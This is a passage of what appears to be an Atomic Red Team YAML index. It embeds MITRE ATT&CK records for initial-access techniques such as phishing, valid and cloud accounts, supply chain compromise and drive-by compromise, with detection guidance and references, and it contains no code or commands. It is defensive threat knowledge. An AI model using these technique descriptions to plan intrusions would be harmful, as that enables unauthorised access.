services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion. x_mitre_platforms: - Windows - SaaS - IaaS - Linux - macOS - Office 365 x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '2.3' x_mitre_contributors: - Praetorian - ExtraHop - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1199 external_id: T1199 - source_name: CISA IT Service Providers description: CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020. url: https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers - source_name: Office 365 Delegated Administration description: 'Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.' url: https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1566: technique: modified: '2024-03-01T16:56:32.245Z' name: Phishing description: "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Philip Winther - Ohad Zaidenberg, @ohad_mz - Liora Itkin - Liran Ravich, CardinalOps - Scott Cook, Capital One x_mitre_deprecated: false x_mitre_detection: |- Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - SaaS - Office 365 - Google Workspace x_mitre_version: '2.5' x_mitre_data_sources: - 'File: File Creation' - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b created: '2020-03-02T18:45:07.892Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566 external_id: T1566 - source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - source_name: CISA Remote Monitoring and Management Software description: CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023. url: https://www.cisa.gov/uscert/ncas/alerts/aa23-025a - source_name: cyberproof-double-bounce description: Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023. url: https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends - source_name: Unit42 Luna Moth description: Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023. url: https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/ - source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - source_name: Microsoft OAuth Spam 2022 description: Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023. url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ - source_name: sygnia Luna Month description: 'Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.' url: https://blog.sygnia.co/luna-moth-false-subscription-scams - source_name: Proofpoint-spoof description: Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023. url: https://www.proofpoint.com/us/threat-reference/email-spoofing - source_name: Palo Alto Unit 42 VBA Infostealer 2014 description: Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023. url: https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078: technique: modified: '2023-05-09T14:00:00.188Z' name: Valid Accounts description: |- Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 3.1.0 x_mitre_contributors: - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Jon Sternstein, Stern Security - Yossi Weizman, Azure Defender Research Team - Netskope - Mark Wee - Praetorian - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '2.6' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' x_mitre_defense_bypassed: - Firewall - Anti-virus - Host Intrusion Prevention Systems - Network Intrusion Detection System - Application Control - System Access Controls x_mitre_effective_permissions: - User - Administrator x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 created: '2017-05-31T21:31:00.645Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078 external_id: T1078 - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1566.004: technique: modified: '2023-10-15T11:49:40.990Z' name: Spearphishing Voice description: |- Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974 created: '2023-09-07T21:50:08.827Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566/004 external_id: T1566.004 - source_name: CISA Remote Monitoring and Management Software description: CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023. url: https://www.cisa.gov/uscert/ncas/alerts/aa23-025a - source_name: Unit42 Luna Moth description: Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023. url: https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/ - source_name: sygnia Luna Month description: 'Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.' url: https://blog.sygnia.co/luna-moth-false-subscription-scams - source_name: Proofpoint Vishing description: Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023. url: https://www.proofpoint.com/us/threat-reference/vishing object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1195.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00 created: '2020-03-11T14:17:21.153Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1195.002 url: https://attack.mitre.org/techniques/T1195/002 - source_name: Avast CCleaner3 2018 url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities description: Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. - source_name: Command Five SK 2011 url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. x_mitre_deprecated: false revoked: false description: "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) " modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Compromise Software Supply Chain x_mitre_detection: 'Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Metadata' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.002: technique: modified: '2023-08-14T14:55:07.432Z' name: Domain Accounts description: |- Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f created: '2020-03-13T20:21:54.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/002 external_id: T1078.002 - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: Microsoft AD Accounts description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts - source_name: Ubuntu SSSD Docs description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. url: https://ubuntu.com/server/docs/service-sssd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1200: technique: modified: '2023-05-09T14:00:00.188Z' name: Hardware Additions description: |- Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '1.6' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Drive: Drive Creation' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1200 external_id: T1200 - source_name: Ossmann Star Feb 2011 description: Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018. url: https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html - source_name: Aleks Weapons Nov 2015 description: Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018. url: https://www.youtube.com/watch?v=lDvf4ScWbcQ - source_name: McMillan Pwn March 2012 description: Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018. url: https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/ - source_name: Frisk DMA August 2016 description: Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018. url: https://www.youtube.com/watch?v=fXthwl6ShOg object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1189: technique: modified: '2023-05-09T14:00:00.188Z' name: Drive-by Compromise description: "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n \ * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services) - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: |- Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - SaaS x_mitre_version: '1.5' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'File: File Creation' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1189 external_id: T1189 - source_name: Shadowserver Strategic Web Compromise description: Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018. url: http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ - source_name: Volexity OceanLotus Nov 2017 description: 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.' url: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.004: technique: modified: '2024-03-29T15:42:13.499Z' name: 'Valid Accounts: Cloud Accounts' description: "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.7' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65 created: '2020-03-13T20:36:57.378Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/004 external_id: T1078.004 - source_name: AWS Identity Federation description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020. url: https://aws.amazon.com/identity/federation/ - source_name: Google Federating GC description: Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020. url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction - source_name: Microsoft Deploying AD Federation description: Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.004 atomic_tests: - name: Creating GCP Service Account and Service Account Key auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e description: 'GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud. ' 